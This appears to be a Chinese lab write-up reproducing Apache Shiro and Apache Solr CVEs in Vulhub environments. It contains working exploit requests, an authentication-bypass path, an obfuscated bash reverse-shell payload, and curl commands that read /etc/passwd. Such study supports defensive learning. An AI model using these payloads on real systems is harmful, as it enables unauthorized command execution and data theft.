第64天:服务攻防-框架安全&CVE复现&Apache Shiro&Apache Solr

目录

思维导图

[案例一:Apache Shiro-组件框架安全](#案例一:Apache Shiro-组件框架安全)

[shiro反序列化 cve_2016_4437](#shiro反序列化 cve_2016_4437)

CVE-2020-17523

CVE-2020-1957

[案例二:Apache Solr-组件框架安全](#案例二:Apache Solr-组件框架安全)

[远程命令执行 RCE(CVE-2017-12629)](#远程命令执行 RCE(CVE-2017-12629))

[任意文件读取 AND 命令执行(CVE-2019-17558)](#任意文件读取 AND 命令执行(CVE-2019-17558))

远程命令执行漏洞(CVE-2019-0193)

文件读取与SSRF漏洞


思维导图

案例一:Apache Shiro-组件框架安全

阿里云漏洞库: https://avd.aliyun.com/search?q=shiro

常见漏洞

Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】

Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】

Apache Shiro < 1.4.2 cookie oracle padding 漏洞 【CVE-2019-12442】

Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】

Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】

Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】

Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】

Apache Shiro 是一个强大且易用的 Java 安全框架,用于身份验证、授权、密码和会话管理

判断:大多会发生在登录处,返回包里包含 remeberMe=deleteMe 字段

shiro反序列化 cve_2016_4437

靶场环境:

反序列化可以直接利用工具

执行效果

命令执行

CVE-2020-17523

影响版本:Apache Shiro < 1.7.1

靶场环境: https://github.com/jweny/shiro-cve-2020-17523

搭建起来

访问/admin/xx会自动跳转到login,意思时不登陆不能访问

但是访问/admin/%20会自动绕过登录

查看版本的位置

CVE-2020-1957

影响范围:Apache Shiro < 1.5.3

靶场环境: https://vulhub.org/#/environments/shiro/CVE-2020-1957/

启动起来以后需要登录

访问admin时会自动跳转到login.html

Poc

/xxx/..;/admin/

直接绕过登录限制,直接登录admin

案例二:Apache Solr-组件框架安全

Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全文搜索服务器。

漏洞库: https://avd.aliyun.com/search?q=solr

常见漏洞

远程命令执行 RCE(CVE-2017-12629)

远程命令执行 XXE(CVE-2017-12629)

任意文件读取 AND 命令执行(CVE-2019-17558)

远程命令执行漏洞(CVE-2019-0192)

远程命令执行漏洞(CVE-2019-0193)

未授权上传漏洞(CVE-2020-13957)

Apache Solr SSRF (CVE-2021-27905)

远程命令执行 RCE(CVE-2017-12629)

solr一般都有这样的配置页面

访问抓包发送到repeater,设置一个listener

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

然后设置包update,触发刚才的操作listener

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

进入docker中查看

任意文件读取 AND 命令执行(CVE-2019-17558)

靶场环境: Vulhub - Docker-Compose file for vulnerability environment

脚本地址:https://github.com/jas502n/solr_rce

需要用python2执行,vulfocus上靶场可能有问题了,无法执行,执行效果如图
另一款交互式脚本

python 复制代码
https://github.com/zhzyker/exphub/blob/master/solr/cve-2019-17558_cmd.py

远程命令执行漏洞(CVE-2019-0193)

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

启动该环境除了正常步骤以外,还需要

python 复制代码
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db -force

影响版本:Apache Solr < 8.2.0 版本

该漏洞真实环境要利用一般得先登录

利用过程

创建文件

python 复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

把代码换成反弹shell的代码

python 复制代码
<dataConfig>
    <dataSource type="URLDataSource"/>
    <script><![CDATA[
        function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}");}
]]></script>
    <document>
    <entity name="stackoverflow"
        url="https://stackoverflow.com/feeds/tag/solr"
        processor="XPathEntityProcessor"
        forEach="/feed"
        transformer="script:poc" />
    </document>
</dataConfig>

开启监听 成功反弹shell

文件读取与SSRF漏洞

靶场位置:https://vulhub.org/#/environments/solr/Remote-Streaming-Fileread/

首先先获取数据库名

python 复制代码
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

获取数据库名

触发访问

python 复制代码
curl -i -s -k -X $'POST' \
     -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
     $'http://your-ip:8983/solr/demo/config'

读取任意文件

python 复制代码
curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

可以利用ssrf探测内网做信息收集,这里用dnslog做简单的测试

相关推荐
速盾cdn2 小时前
速盾:cdn发展历程
服务器·网络·安全
dot.Net安全矩阵2 小时前
.NET 漏洞分析 | 某ERP系统存在SQL注入
数据库·sql·安全·web安全·矩阵·.net
helloKittywz3 小时前
Administrators就最高了???system是什么??本地用户提权内网学习第三天 你知道uac是什么??
安全·web安全·网络安全·系统安全·学习笔记·权限提升·本地用户提权
梦中北山3 小时前
JWT安全分析
开发语言·网络·安全·web安全·php
夏天想4 小时前
微服务架构是什么?他有什么优缺点。其实的安全问题如何解决?
安全·微服务·架构
dot.Net安全矩阵4 小时前
.NET 漏洞情报 | 某整合管理平台SQL注入
数据库·sql·安全·矩阵·.net
小鼠米奇4 小时前
13.什么是Proxy?
网络·安全·web安全
都适、隶仁ミ5 小时前
SQL注入工具Sqlmap
linux·网络·数据库·sql·安全·网络安全·系统安全
miao649725535 小时前
智能猫砂盆到底哪家好用?自费实测聚宠、糯雪、CEWEY真实反馈!
大数据·运维·人工智能·安全·自动化
网安加社区5 小时前
行业洞察 | 2024应用程序安全领域现状报告
网络·安全·网络安全